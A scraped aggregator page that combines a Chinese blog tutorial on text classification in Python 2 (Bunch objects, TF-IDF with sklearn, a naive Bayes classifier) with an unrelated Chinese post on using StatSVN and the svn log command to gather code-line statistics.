      2,文本文件名。例如./train_corpus_seg/art/21.txt,我们可以把所有文件名集合在一起做一个列表,叫做filenames

      3,文本标签(就是文本的类别),不妨叫做label(与2中的filenames一一对应)

      例如2中的文本“21.txt”在./train_corpus_seg/art/目录下,则它的标签就是art。

      文本标签与1中的类别区别在于:文本标签集合里面的元素就是1中类别,而文本标签集合的元素是可以重复的,因为./train_corpus_seg/art/目录下有好多文本,不是吗?相应的,1中的类别集合元素显然都是独一无二的类别。

      4,文本内容(contens)。

      上一步代码我们已经成功的把文本内容进行了分词,并且去除掉了所有的换行,得到的其实就是一行词袋(词向量),每个文本文件都是一个词向量。这里的文本内容指的就是这些词向量。



      那么,用Bunch表示,就是:

      from sklearn.datasets.base import Bunch

      bunch = Bunch(target_name=[],label=[],filenames=[],contents=[]) 



      我们在Bunch对象里面创建了有4个成员:

      target_name:是一个list,存放的是整个数据集的类别集合。

      label:是一个list,存放的是所有文本的标签。

      filenames:是一个list,存放的是所有文本文件的名字。

      contents:是一个list,分词后文本文件词向量形式



      如果你还没有明白,看一下下面这个图,你总该明白了:

      Bunch:



      下面,我们将文本文件转为Bunch类形:

      #!/usr/bin/env python
      # -*- coding: UTF-8 -*-
      """
      @version: python2.7.8 
      @author: XiangguoSun
      @contact: sunxiangguodut@qq.com
      @file: corpus2Bunch.py
      @time: 2017/2/7 7:41
      @software: PyCharm
      """
      import sys
      reload(sys)
      sys.setdefaultencoding('utf-8')
      import os#python内置的包,用于进行文件目录操作,我们将会用到os.listdir函数
      import cPickle as pickle#导入cPickle包并且取一个别名pickle
      '''
      事实上python中还有一个也叫作pickle的包,与这里的名字相同了,无所谓
      关于cPickle与pickle,请参考博主另一篇博文:
      python核心模块之pickle和cPickle讲解
      http://blog.csdn.net/github_36326955/article/details/54882506
      本文件代码下面会用到cPickle中的函数cPickle.dump
      '''
      from sklearn.datasets.base import Bunch
      #这个您无需做过多了解,您只需要记住以后导入Bunch数据结构就像这样就可以了。
      #今后的博文会对sklearn做更有针对性的讲解
      def _readfile(path):
          '''读取文件'''
          #函数名前面带一个_,是标识私有函数
          # 仅仅用于标明而已,不起什么作用,
          # 外面想调用还是可以调用,
          # 只是增强了程序的可读性
          with open(path, "rb") as fp:#with as句法前面的代码已经多次介绍过,今后不再注释
              content = fp.read()
          return content
      def corpus2Bunch(wordbag_path,seg_path):
          catelist = os.listdir(seg_path)# 获取seg_path下的所有子目录,也就是分类信息
          #创建一个Bunch实例
          bunch = Bunch(target_name=[], label=[], filenames=[], contents=[])
          bunch.target_name.extend(catelist)
          '''
          extend(addlist)是python list中的函数,意思是用新的list(addlist)去扩充原来的list
          '''
          # 获取每个目录下所有的文件
          for mydir in catelist:
              class_path = seg_path + mydir + "/"  # 拼出分类子目录的路径
              file_list = os.listdir(class_path)  # 获取class_path下的所有文件
              for file_path in file_list:  # 遍历类别目录下文件
                  fullname = class_path + file_path  # 拼出文件名全路径
                  bunch.label.append(mydir)
                  bunch.filenames.append(fullname)
                  bunch.contents.append(_readfile(fullname))  # 读取文件内容
                  '''append(element)是python list中的函数,意思是向原来的list中添加element,注意与extend()函数的区别'''
          # 将bunch存储到wordbag_path路径中
          with open(wordbag_path, "wb") as file_obj:
              pickle.dump(bunch, file_obj)
          print "构建文本对象结束!!!"
      if __name__ == "__main__":#这个语句前面的代码已经介绍过,今后不再注释
          #对训练集进行Bunch化操作:
          wordbag_path = "train_word_bag/train_set.dat"  # Bunch存储路径
          seg_path = "train_corpus_seg/"  # 分词后分类语料库路径
          corpus2Bunch(wordbag_path, seg_path)
          # 对测试集进行Bunch化操作:
          wordbag_path = "test_word_bag/test_set.dat"  # Bunch存储路径
          seg_path = "test_corpus_seg/"  # 分词后分类语料库路径
          corpus2Bunch(wordbag_path, seg_path)



      3,结构化表示--向量空间模型

      在第2节中,我们对原始数据集进行了分词处理,并且通过绑定为Bunch数据类型,实现了数据集的变量表示。事实上在第2节中,我们通过分词,已经将每一个文本文件表示为了一个词向量了。也许你对于什么是词向量并没有清晰的概念,这里有一篇非常棒的文章《Deep Learning in NLP (一)词向量和语言模型》,简单来讲,词向量就是词向量空间里面的一个向量。

      你可以类比为三维空间里面的一个向量,例如:

      如果我们规定词向量空间为:(我,喜欢,相国大人),这相当于三维空间里面的(x,y,z)只不过这里的x,y,z的名字变成了“我”,“喜欢”,“相国大人”



      现在有一个词向量是:我喜欢  喜欢相国大人

      表示在词向量空间中就变为:(1,2,1),归一化后可以表示为:(0.166666666667 0.333333333333 0.166666666667)表示在刚才的词向量空间中就是这样:





      但是在我们第2节处理的这些文件中,词向量之间的单词个数并不相同,词向量的涵盖的单词也不尽相同。他们并不在一个空间里,换句话说,就是他们之间没有可比性,例如:

      词向量1:我喜欢相国大人,对应的词向量空间是(我,喜欢,相国大人),可以表示为(1,1,1)

      词向量2:她喜欢我,对应的词向量空间是(她,不,喜欢,我),可以表示为(1,1,1,1)

      两个空间不一样



      因此,接下来我们要做的,就是把所有这些词向量统一到同一个词向量空间中,例如,在上面的例子中,我们可以设置词向量空间为(我,喜欢,相国大人,她,不)

      这样,词向量1和词向量2分别可以表示为(1,1,1,0,0)和(1,1,0,1,1),这样两个向量就都在同一个空间里面了。可以进行比较和各种运算了。



      也许你已经发现了,这样做的一个很糟糕的结果是,我们要把训练集内所有出现过的单词,都作为一个维度,构建统一的词向量空间,即使是中等大小的文本集合,向量维度也很轻易就达到数十万维。为了节省空间,我们首先将训练集中每个文本中一些垃圾词汇去掉。所谓的垃圾词汇,就是指意义模糊的词,或者一些语气助词,标点符号等等,通常他们对文本起不了分类特征的意义。这些垃圾词汇我们称之为停用词。把所有停用词集合起来构成一张停用词表格,这样,以后我们处理文本时,就可以从这个根据表格,过滤掉文本中的一些垃圾词汇了。

      你可以从这里下载停用词表:hlt_stop_words.txt

      存放在这里路径中:train_word_bag/hlt_stop_words.txt



      下面的程序,目的就是要将训练集所有文本文件(词向量)统一到同一个词向量空间中。值得一提的是,在词向量空间中,事实上不同的词,它的权重是不同的,它对文本分类的影响力也不同,为此我们希望得到的词向量空间不是等权重的空间,而是不同权重的词向量空间。我们把带有不同权重的词向量空间叫做“加权词向量空间”,也有的技术文档将其称为“加权向量词袋”,一个意思。



      现在的问题是,如何计算不同词的权重呢?



      4,权重策略--TF-IDF

      什么是TF-IDF?今后有精力我会在这里更新补充,现在,先给你推荐一篇非常棒的文章《使用scikit-learn工具计算文本TF-IDF值



      下面,我们假定你已经对TF-IDF有了最基本的了解。请你动动你的小脑袋瓜想一想,我们把训练集文本转换成了一个TF-IDF词向量空间,姑且叫它为A空间吧。那么我们还有测试集数据,我们以后实际运用时,还会有新的数据,这些数据显然也要转到词向量空间,那么应该和A空间为同一个空间吗?

      是的。

      即使测试集出现了新的词汇(不是停用词),即使新的文本数据有新的词汇,只要它不是训练集生成的TF-IDF词向量空间中的词,我们就都不予考虑。这就实现了所有文本词向量空间“大一统”,也只有这样,大家才在同一个世界里。才能进行下一步的研究。



      下面的程序就是要将训练集所有文本文件(词向量)统一到同一个TF-IDF词向量空间中(或者叫做用TF-IDF算法计算权重的有权词向量空间)。这个词向量空间最终存放在train_word_bag/tfdifspace.dat中。

      这段代码你可能有点看不懂,因为我估计你可能比较懒,还没看过TF-IDF(尽管我刚才已经给你推荐那篇文章了)。你只需要明白,它把一大坨训练集数据成功的构建了一个TF-IDF词向量空间,空间的各个词都是出自这个训练集(去掉了停用词)中,各个词的权值也都一并保存了下来,叫做权重矩阵。

      需要注意的是,你要明白,权重矩阵是一个二维矩阵,a[i][j]表示,第i个词在第j个类别中的IF-IDF值(看到这里,我估计你压根就没去看那篇文章,所以你可能到现在也不知道 这是个啥玩意儿。。。)



      请记住权重矩阵这个词,代码解释中我会用到。

      #!/usr/bin/env python
      # -*- coding: UTF-8 -*-
      """
      @version: python2.7.8 
      @author: XiangguoSun
      @contact: sunxiangguodut@qq.com
      @file: vector_space.py
      @time: 2017/2/7 17:29
      @software: PyCharm
      """
      import sys
      reload(sys)
      sys.setdefaultencoding('utf-8')
      # 引入Bunch类
      from sklearn.datasets.base import Bunch
      import cPickle as pickle#之前已经说过,不再赘述
      from sklearn.feature_extraction.text import TfidfVectorizer#这个东西下面会讲
      # 读取文件
      def _readfile(path):
          with open(path, "rb") as fp:
              content = fp.read()
          return content
      # 读取bunch对象
      def _readbunchobj(path):
          with open(path, "rb") as file_obj:
              bunch = pickle.load(file_obj)
          return bunch
      # 写入bunch对象
      def _writebunchobj(path, bunchobj):
          with open(path, "wb") as file_obj:
              pickle.dump(bunchobj, file_obj)
      #这个函数用于创建TF-IDF词向量空间
      def vector_space(stopword_path,bunch_path,space_path):
          stpwrdlst = _readfile(stopword_path).splitlines()#读取停用词
          bunch = _readbunchobj(bunch_path)#导入分词后的词向量bunch对象
          #构建tf-idf词向量空间对象
          tfidfspace = Bunch(target_name=bunch.target_name, label=bunch.label, filenames=bunch.filenames, tdm=[], vocabulary={})
          '''在前面几节中,我们已经介绍了Bunch。
          target_name,label和filenames这几个成员都是我们自己定义的玩意儿,前面已经讲过不再赘述。下面我们讲一下tdm和vocabulary(这俩玩意儿也都是我们自己创建的):
          tdm存放的是计算后得到的TF-IDF权重矩阵。请记住,我们后面分类器需要的东西,其实就是训练集的tdm和标签label,因此这个成员是很重要的。
          vocabulary是词向量空间的索引,例如,如果我们定义的词向量空间是(我,喜欢,相国大人),那么vocabulary就是这样一个索引字典
          vocabulary={"我":0,"喜欢":1,"相国大人":2},你可以简单的理解为:vocabulary就是词向量空间的坐标轴,索引值相当于表明了第几个维度。我们现在就是要构建一个词向量空间,因此在初始时刻,这个tdm和vocabulary自然都是空的。如果你在这一步将vocabulary赋值了一个自定义的内容,那么,你是傻逼。
          '''
          '''与下面这2行代码等价的代码是:
          vectorizer=CountVectorizer()#构建一个计算词频(TF)的玩意儿,当然这里面不只是可以做这些
          transformer=TfidfTransformer()#构建一个计算TF-IDF的玩意儿
          tfidf=transformer.fit_transform(vectorizer.fit_transform(corpus))
          #vectorizer.fit_transform(corpus)将文本corpus输入,得到词频矩阵
          #将这个矩阵作为输入,用transformer.fit_transform(词频矩阵)得到TF-IDF权重矩阵看名字你也应该知道:
          Tfidf-Transformer + Count-Vectorizer  = Tfidf-Vectorizer下面的代码一步到位,把上面的两个步骤一次性全部完成值得注意的是,CountVectorizer()和TfidfVectorizer()里面都有一个成员叫做vocabulary_(后面带一个下划线)这个成员的意义,与我们之前在构建Bunch对象时提到的自己定义的那个vocabulary的意思是一样的,相当于词向量空间的坐标轴。显然,我们在第45行中创建tfidfspace中定义的vocabulary就应该被赋值为这个vocabulary_他俩还有一个叫做vocabulary(后面没有下划线)的参数,这个参数和我们第45中讲到的意思是一样的。那么vocabulary_和vocabulary的区别是什么呢?
          vocabulary_:是CountVectorizer()和TfidfVectorizer()的内部成员,表示最终得到的词向量空间坐标
          vocabulary:是创建CountVectorizer和TfidfVectorizer类对象时,传入的参数,它是我们外部输入的空间坐标,不写的话,函数就从输入文档中自己构造。一般情况它俩是相同的,不一般的情况没遇到过。
          '''
          #构建一个快乐地一步到位的玩意儿,专业一点儿叫做:使用TfidfVectorizer初始化向量空间模型
          #这里面有TF-IDF权重矩阵还有我们要的词向量空间坐标轴信息vocabulary_
          vectorizer = TfidfVectorizer(stop_words=stpwrdlst, sublinear_tf=True, max_df=0.5)
          '''关于参数,你只需要了解这么几个就可以了:
          stop_words:传入停用词,以后我们获得vocabulary_的时候,就会根据文本信息去掉停用词得到
          vocabulary:之前说过,不再解释。
          sublinear_tf:计算tf值采用亚线性策略。比如,我们以前算tf是词频,现在用1+log(tf)来充当词频。
          smooth_idf:计算idf的时候log(分子/分母)分母有可能是0,smooth_idf会采用log(分子/(1+分母))的方式解决。默认已经开启,无需关心。
          norm:归一化,我们计算TF-IDF的时候,是用TF*IDF,TF可以是归一化的,也可以是没有归一化的,一般都是采用归一化的方法,默认开启.
          max_df:有些词,他们的文档频率太高了(一个词如果每篇文档都出现,那还有必要用它来区分文本类别吗?当然不用了呀),所以,我们可以设定一个阈值,比如float类型0.5(取值范围[0.0,1.0]),表示这个词如果在整个数据集中超过50%的文本都出现了,那么我们也把它列为临时停用词。当然你也可以设定为int型,例如max_df=10,表示这个词如果在整个数据集中超过10的文本都出现了,那么我们也把它列为临时停用词。
          min_df:与max_df相反,虽然文档频率越低,似乎越能区分文本,可是如果太低,例如10000篇文本中只有1篇文本出现过这个词,仅仅因为这1篇文本,就增加了词向量空间的维度,太不划算。当然,max_df和min_df在给定vocabulary参数时,就失效了。
          '''
          #此时tdm里面存储的就是if-idf权值矩阵
          tfidfspace.tdm = vectorizer.fit_transform(bunch.contents)
          tfidfspace.vocabulary = vectorizer.vocabulary_
          _writebunchobj(space_path, tfidfspace)
          print "if-idf词向量空间实例创建成功!!!"
      if __name__ == '__main__':
          stopword_path = "train_word_bag/hlt_stop_words.txt"#停用词表的路径
          bunch_path = "train_word_bag/train_set.dat"  #导入训练集Bunch的路径
          space_path = "train_word_bag/tfdifspace.dat"  # 词向量空间保存路径
          vector_space(stopword_path,bunch_path,space_path)




      上面的代码运行之后,会将训练集数据转换为TF-IDF词向量空间中的实例,保存在train_word_bag/tfdifspace.dat中,具体来说,这个文件里面有两个我们感兴趣的东西,一个是vocabulary,即词向量空间坐标,一个是tdm,即训练集的TF-IDF权重矩阵。



      接下来,我们要开始第5步的操作,设计分类器,用训练集训练,用测试集测试。在做这些工作之前,你一定要记住,首先要把测试数据也映射到上面这个TF-IDF词向量空间中,也就是说,测试集和训练集处在同一个词向量空间(vocabulary相同),只不过测试集有自己的tdm,与训练集(train_word_bag/tfdifspace.dat)中的tdm不同而已。

      同一个世界,同一个梦想。

      至于说怎么弄,请看下节。



      5,分类器

      这里我们采用的是朴素贝叶斯分类器,今后我们会详细讲解它。

      现在,你即便不知道这是个啥玩意儿,也一点不会影响你,这个分类器我们有封装好了的函数,MultinomialNB,这玩意儿获取训练集的权重矩阵和标签,进行训练,然后获取测试集的权重矩阵,进行预测(给出预测标签)。



      下面我们开始动手实践吧!



      首先,我们要把测试数据也映射到第4节中的那个TF-IDF词向量空间上:

      #!/usr/bin/env python
      # -*- coding: UTF-8 -*-
      """
      @version: python2.7.8 
      @author: XiangguoSun
      @contact: sunxiangguodut@qq.com
      @file: test.py
      @time: 2017/2/8 11:39
      @software: PyCharm
      """
      import sys
      reload(sys)
      sys.setdefaultencoding('utf-8')
      # 引入Bunch类
      from sklearn.datasets.base import Bunch
      import cPickle as pickle
      from sklearn.feature_extraction.text import TfidfVectorizer
      def _readfile(path):
          with open(path, "rb") as fp:
              content = fp.read()
          return content
      def _readbunchobj(path):
          with open(path, "rb") as file_obj:
              bunch = pickle.load(file_obj)
          return bunch
      def _writebunchobj(path, bunchobj):
          with open(path, "wb") as file_obj:
              pickle.dump(bunchobj, file_obj)
      def vector_space(stopword_path,bunch_path,space_path,train_tfidf_path):
          stpwrdlst = _readfile(stopword_path).splitlines()
          bunch = _readbunchobj(bunch_path)
          tfidfspace = Bunch(target_name=bunch.target_name, label=bunch.label, filenames=bunch.filenames, tdm=[], vocabulary={})
          #导入训练集的TF-IDF词向量空间
          trainbunch = _readbunchobj(train_tfidf_path)
          tfidfspace.vocabulary = trainbunch.vocabulary
          vectorizer = TfidfVectorizer(stop_words=stpwrdlst, sublinear_tf=True, max_df=0.5,vocabulary=trainbunch.vocabulary)
          tfidfspace.tdm = vectorizer.fit_transform(bunch.contents)
          _writebunchobj(space_path, tfidfspace)
          print "if-idf词向量空间实例创建成功!!!"
      if __name__ == '__main__':
          stopword_path = "train_word_bag/hlt_stop_words.txt"#停用词表的路径
          bunch_path = "test_word_bag/test_set.dat"   # 词向量空间保存路径
          space_path = "test_word_bag/testspace.dat"   # TF-IDF词向量空间保存路径
          train_tfidf_path="train_word_bag/tfdifspace.dat"
          vector_space(stopword_path,bunch_path,space_path,train_tfidf_path)


      你已经发现了,这段代码与第4节几乎一模一样,唯一不同的就是在第39~41行中,我们导入了第4节中训练集的IF-IDF词向量空间,并且第41行将训练集的vocabulary赋值给测试集的vocabulary,第43行增加了入口参数vocabulary,原因在上一节中都已经说明,不再赘述。

      考虑到第4节和刚才的代码几乎完全一样,因此我们可以将这两个代码文件统一为一个:



      #!/usr/bin/env python
      # -*- coding: UTF-8 -*-
      """
      @version: python2.7.8 
      @author: XiangguoSun
      @contact: sunxiangguodut@qq.com
      @file: TFIDF_space.py
      @time: 2017/2/8 11:39
      @software: PyCharm
      """
      import sys
      reload(sys)
      sys.setdefaultencoding('utf-8')
      from sklearn.datasets.base import Bunch
      import cPickle as pickle
      from sklearn.feature_extraction.text import TfidfVectorizer
      def _readfile(path):
          with open(path, "rb") as fp:
              content = fp.read()
          return content
      def _readbunchobj(path):
          with open(path, "rb") as file_obj:
              bunch = pickle.load(file_obj)
          return bunch
      def _writebunchobj(path, bunchobj):
          with open(path, "wb") as file_obj:
              pickle.dump(bunchobj, file_obj)
      def vector_space(stopword_path,bunch_path,space_path,train_tfidf_path=None):
          stpwrdlst = _readfile(stopword_path).splitlines()
          bunch = _readbunchobj(bunch_path)
          tfidfspace = Bunch(target_name=bunch.target_name, label=bunch.label, filenames=bunch.filenames, tdm=[], vocabulary={})
          if train_tfidf_path is not None:
              trainbunch = _readbunchobj(train_tfidf_path)
              tfidfspace.vocabulary = trainbunch.vocabulary
              vectorizer = TfidfVectorizer(stop_words=stpwrdlst, sublinear_tf=True, max_df=0.5,vocabulary=trainbunch.vocabulary)
              tfidfspace.tdm = vectorizer.fit_transform(bunch.contents)
          else:
              vectorizer = TfidfVectorizer(stop_words=stpwrdlst, sublinear_tf=True, max_df=0.5)
              tfidfspace.tdm = vectorizer.fit_transform(bunch.contents)
              tfidfspace.vocabulary = vectorizer.vocabulary_
          _writebunchobj(space_path, tfidfspace)
          print "if-idf词向量空间实例创建成功!!!"
      if __name__ == '__main__':
          stopword_path = "train_word_bag/hlt_stop_words.txt"
          bunch_path = "train_word_bag/train_set.dat"
          space_path = "train_word_bag/tfdifspace.dat"
          vector_space(stopword_path,bunch_path,space_path)
          bunch_path = "test_word_bag/test_set.dat"
          space_path = "test_word_bag/testspace.dat"
          train_tfidf_path="train_word_bag/tfdifspace.dat"
          vector_space(stopword_path,bunch_path,space_path,train_tfidf_path)




      哇哦,你好棒!现在连注释都不用,就可以看懂代码了。。。



      对测试集进行了上述处理后,接下来的步骤,变得如此轻盈和优雅。



      #!/usr/bin/env python
      # -*- coding: UTF-8 -*-
      """
      @version: python2.7.8 
      @author: XiangguoSun
      @contact: sunxiangguodut@qq.com
      @file: NBayes_Predict.py
      @time: 2017/2/8 12:21
      @software: PyCharm
      """
      import sys
      reload(sys)
      sys.setdefaultencoding('utf-8')
      import cPickle as pickle
      from sklearn.naive_bayes import MultinomialNB  # 导入多项式贝叶斯算法
      # 读取bunch对象
      def _readbunchobj(path):
          with open(path, "rb") as file_obj:
              bunch = pickle.load(file_obj)
          return bunch
      # 导入训练集
      trainpath = "train_word_bag/tfdifspace.dat"
      train_set = _readbunchobj(trainpath)
      # 导入测试集
      testpath = "test_word_bag/testspace.dat"
      test_set = _readbunchobj(testpath)
      # 训练分类器:输入词袋向量和分类标签,alpha:0.001 alpha越小,迭代次数越多,精度越高
      clf = MultinomialNB(alpha=0.001).fit(train_set.tdm, train_set.label)
      # 预测分类结果
      predicted = clf.predict(test_set.tdm)
      for flabel,file_name,expct_cate in zip(test_set.label,test_set.filenames,predicted):
          if flabel != expct_cate:
              print file_name,": 实际类别:",flabel," -->预测类别:",expct_cate
      print "预测完毕!!!"
      # 计算分类精度:
      from sklearn import metrics
      def metrics_result(actual, predict):
          print '精度:{0:.3f}'.format(metrics.precision_score(actual, predict,average='weighted'))
          print '召回:{0:0.3f}'.format(metrics.recall_score(actual, predict,average='weighted'))
          print 'f1-score:{0:.3f}'.format(metrics.f1_score(actual, predict,average='weighted'))
      metrics_result(test_set.label, predicted)



      出错的这个,是我故意制造的,(因为实际分类精度100%,不能很好的说明问题)

      效果图:



       

      当然,你也可以采用其他分类器,比如KNN



      6,评价与小结

      评价部分的实际操作我们已经在上一节的代码中给出了。这里主要是要解释一下代码的含义,以及相关的一些概念。

      截止目前,我们已经完成了全部的实践工作。接下来,你或许希望做的是:

      1,分词工具和分词算法的研究

      2,文本分类算法的研究

      这些内容,博主会在今后的时间里,专门研究并写出博文。



      整个工程的完整源代码到这里下载:

      https://github.com/sunxiangguo/chinese_text_classification

      需要说明的是,在工程代码和本篇博文中,细心的你已经发现了,我们所有的路径前面都有一个点“. /”,这主要是因为我们不知道您会将工程建在哪个路径内,因此这个表示的是你所在项目的目录,本篇博文所有路径都是相对路径。因此你需要自己注意一下。工程里面语料库是空的,因为上传资源受到容量的限制。你需要自己添加。

      7,进一步的讨论

      我们的这些工作究竟实不实用?这是很多人关心的问题。事实上,本博文的做法,是最经典的文本分类思想。也是你进一步深入研究文本分类的基础。在实际工作中,用本文的方法,已经足够胜任各种情况了。


      那么,我们也许想问,有没有更好,更新的技术?答案是有的。未来,博主会集中介绍两种技术:
      1.利用LDA模型进行文本分类
      2.利用深度学习进行文本分类


      利用深度学习进行文本分类,要求你必须对深度学习的理论有足够多的掌握。
      为此,你可以参考博主的其他博文,
      例如下面的这个系列博文《卷积神经网络CNN理论到实践》。
      这是一些列的博文。与网上其他介绍CNN的博文不同的是:
      1. 我们会全方位,足够深入的为你讲解CNN的知识。包括很多,你之前在网上找了很多资料也没搞清楚的东西。
      2. 我们会利用CNN做文本分类的实践。
      3. 我们会绘制大量精美的示意图。保证博文的高质量和美观。






      8,At last





      welcome!

      Xiangguo Sun 

      sunxiangguodut@qq.com 

      http://blog.csdn.net/github_36326955 



      Welcome to my blog column: Dive into ML/DL!

      (click here to blog column Dive into ML/DL)

      这里写图片描述


      I devote myself to dive into typical algorithms on machine learning and deep learning, especially the application in the area of computational personality.

      My research interests include computational personality, user portrait, online social network, computational society, and ML/DL. In fact you can find the internal connection between these concepts: 

      这里写图片描述

      In this blog column, I will introduce some typical algorithms about machine learning and deep learning used in OSNs(Online Social Networks), which means we will include NLP, networks community, information diffusion,and individual recommendation systemApparently, our ultimate target is to dive into user portrait , especially the issues on your personality analysis.


      All essays are created by myself, and copyright will be reserved by me. You can use them for non-commercical intention and if you are so kind to donate me, you can scan the QR code below. All donation will be used to the library of charity for children in Lhasa.



      统计SVN代码行数工具-StatSVN - valleylord - 博客园

      $
      0
      0

      1. 获取SVN log:svn log -v -r 17461:39224 --xml > logfile.log

      2. 用StatSVN分析:java -jar ~/project/statsvn-0.7.0/statsvn.jar logfile.log <Working Copy的目录 >


      StatSVN介绍

      StatSVN是一个Java写的开源代码统计程序,从statCVS移植而来,能够从Subversion版本库中取得信息,然后生成描述项目开发的各种表格和图表。比如:代码行数的时间线;针对每个开发者的代码行数;开发者的活跃程度;开发者最近所提交的;文件数量;平均文件大小;最大文件;哪个文件是修改最多次数的;目录大小;带有文件数量和代码行数的Repository tree。StatSVN当前版本能够生成一组包括表格与图表的静态HTML文档。

      StatSVN下载

      StartSVN官网地址为:http://www.statsvn.org/index.html 

      StartSVN的下载页面为:http://www.statsvn.org/downloads.html也可以下载本文的附件

      现在官网上最新的版本为:statsvn-0.7.0

      StatSVN使用

      使用须知

       

      StatSVN的运行需要Java的运行环境支持,所以大家需要安装Java的运行环境(Java RuntimeEnvironment)。JRE可以从Sun的网站上下载。

      Statsvn在使用中需要使用SVN的客户端,因此需要确保机器上可以访问到SVN的客户端命令

       

      Checkout工作拷贝

       

      首先从SVN仓库中checkout一个需要统计的路径(如果在工作目录下进行统计,首先请更新,保证工作区中的版本是最新的版本,确保统计结果的准确性),例如我把我的某个路径下的工程checkout在我的电脑上的 D:\MyProjects 路径下。

       

      生成svn log文件

       

      首先通过命令行进入工作目录:D:\MyProjects ,再使用svn log -v --xml > logfile.log的命令,其中logfile.log为log文件的名称,可以根据需要自行定义。这样就在工作拷贝的目录下生成一个名称为logfile.log的文件。

       

      调用StatSVN进行统计

       

      首先我们把从官网上下载的statsvn-0.7.0.zip包解压缩到D:\statsvn-0.7.0目录下

      通过命令行进入D:\statsvn-0.7.0目录

      调用命令java -jar statsvn.jar D:\MyProjects\logfile.log D:\MyProjects,命令运行成功即完成了统计工作。

      该命令的格式是java -jar statsvn.jar [options] <logfile> <checked-out-module>

      参数<logfile>为前一步中生成的svn log文件,<checked-out-module>为checkout工作拷贝目录,注意两个参数都要列出正确的全路径,否则会提示错误如logfile.log找不到等等。

       

      Java代码  
      1. <logfile>          path to the svn logfile of the module  
      2. <directory>        path to the directory of the checked out module  

       

      [options]为可选参数,该参数格式及用法如下:

       

      Java代码  
      1. Some options:  
      2. -version            print the version information and exit  
      3. -output-dir <dir>         directory where HTML suite will be saved  
      4. -include <pattern>        include only files matching pattern, e.g. **/*.c;**/*.h  
      5. -exclude <pattern>    exclude matching files, e.g. tests/**;docs/**  
      6. -tags <regexp>        show matching tags in lines of code chart, e.g. version-.*  
      7. -title <title>            Project title to be used in reports  
      8. -viewvc <url>         integrate with ViewVC installation at <url>  
      9. -trac <url>           integrate with Trac at <url>  
      10. -bugzilla <url>           integrate with Bugzilla installation at <url>  
      11. -username <svnusername> username to pass to svn  
      12. -password <svnpassword> password to pass to svn  
      13. -verbose            print extra progress information  
      14. -xdoc                   optional switch output to xdoc  
      15. -xml                    optional switch output to xml  
      16. -threads <int>            how many threads for svn diff (default: 25)  
      17. -concurrency-threshold <millisec> switch to concurrent svn diff if 1st call>threshol  
      18. -dump               dump the Repository content on console  
      19. -charset <charset>        specify the charset to use for html/xdoc  
      20. -tags-dir <directory>     optional, specifies the director for tags (default '/tags/')  
      21. Full options list: http://www.statsvn.org  
       

       

      查看统计结果

       

      上述命令运行成功后,可以看到在D:\MyProjects目录下生成一组包括表格与图表的静态HTML文档。可以用浏览器打开index.html查看统计结果。

      示例图片:

       

      StatSVN优缺点分析

      优点

      StatSVN会把当前SVN库的状态用图片和图表的方式展现出来,可以按不同分类分别展开,功能强大。

      缺点

      StatSVN统计的是所有代码行,包括注释和空行,但一般度量要求是有效代码行,在分析时需要注意这一点。

      StatSVN不考虑修改的代码行数,只考虑与上一版本相比新增(+)与删除(-)的代码行数。

       

      文章2:

      利用SVN log命令查看提交日志信息详解

       内容提示:本文将详细介绍通过SVN log命令查看提交日志信息的方法。

      log: 显示一组版本与/或文件的提交日志信息。

        用法:

      1、log [PATH]

      2、log URL[@REV] [PATH...]

      1、显示本地 PATH (默认: “.”) 的日志信息。默认的版本范围是 BASE:1。

      2、显示 URL 中 PATH (默认: “.”) 的日志信息。如果指定了 REV,就从 REV开始查找 URL,版本范围是 REV:1。否则就从 HEAD 开始查找 URL,版本范围是 HEAD:1。

       
       

      可以指定多个 “-c” 或 “-r” 选项 (但是不允许同时使用 “-c” 和 “-r” 选项),以及混合使用前向和后向范围。

      使用 -v 时,在日志信息中显示受影响的路径名。

      使用 -q 时,不显示日志信息主体 (请注意,它可与 -v 并存)。

      每条日志信息只会显示一次,即使指定了此版本涉及到的多个路径。默认日志信息会追溯复制历史;使用 –stop-on-copy 可以关闭这种行为,这可以用来找出分支点。

        范例:

      svn log

      svn log foo.c

      svn log http://www.example.com/repo/project/foo.c

      svn log http://www.example.com/repo/project foo.c bar.c

        有效选项:

      -r [--revision] ARG  : ARG (一些命令也接受ARG1:ARG2范围)

      版本参数可以是如下之一:

      NUMBER   版本号

      ‘{‘ DATE ‘}’ 在指定时间以后的版本

      ‘HEAD’   版本库中的最新版本

      ‘BASE’   工作副本的基线版本

      ‘COMMITTED’  最后提交或基线之前

      ‘PREV’   COMMITTED的前一版本

      -q [--quiet]      : 不打印信息,或只打印概要信息

      -v [--verbose]     : 打印附加信息

      -g [--use-merge-history] : 从合并历史使用/显示额外信息

      -c [--change] ARG    : 版本 ARG 引起的改变

      –targets ARG      : 传递文件 ARG 内容为附件参数

      –stop-on-copy     : 查看历史不要跨越不同的副本

      –incremental      : 给予适合串联的输出

      –xml          : 输出为 XML

      -l [--limit] ARG    : 日值项最大值

      –with-all-revprops  : 获取所有版本属性

      –with-no-revprops   : 没有找回版本属性

      –with-revprop ARG   : 获取版本属性 ARG

        全局选项:

      –username ARG     : 指定用户名称 ARG

      –password ARG     : 指定密码 ARG

      –no-auth-cache    : 不要缓存用户认证令牌

      –non-interactive    : 不要交互提示

      –trust-server-cert  : 不提示的接受未知的 SSL 服务器证书(只用于选项 “–non-interactive”)

      –config-dir ARG    : 从目录 ARG 读取用户配置文件

      –config-option ARG  : 以下属格式设置用户配置选项:FILE:SECTION:OPTION=[VALUE]

      例如:

      servers:global:http-library=serf

      常用操作

        1.查看最近3个版本日志

      svn log [PATH] -v -l3

        2.查看某两个版本,用来对比

      svn log -r 14:15

        3.日志放入文件

      $ svn log -r 14 > mylog

      $ svn log -r 19 >> mylog

      $ svn log -r 27 >> mylog

      $ cat mylog

      或者

      $ svn log –incremental -r 14 > mylog

      $ svn log –incremental -r 19 >> mylog

      $ svn log –incremental -r 27 >> mylog

      我的常用命令

      查看2013.01.01~2013.07.16的svn log

      1svn log -v --xml -r {2013-01-01}:{2013-07-16} > logfile.log

      运行statsvn

       

       

       
      Viewing all 532 articles
      Browse latest View live


      <script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>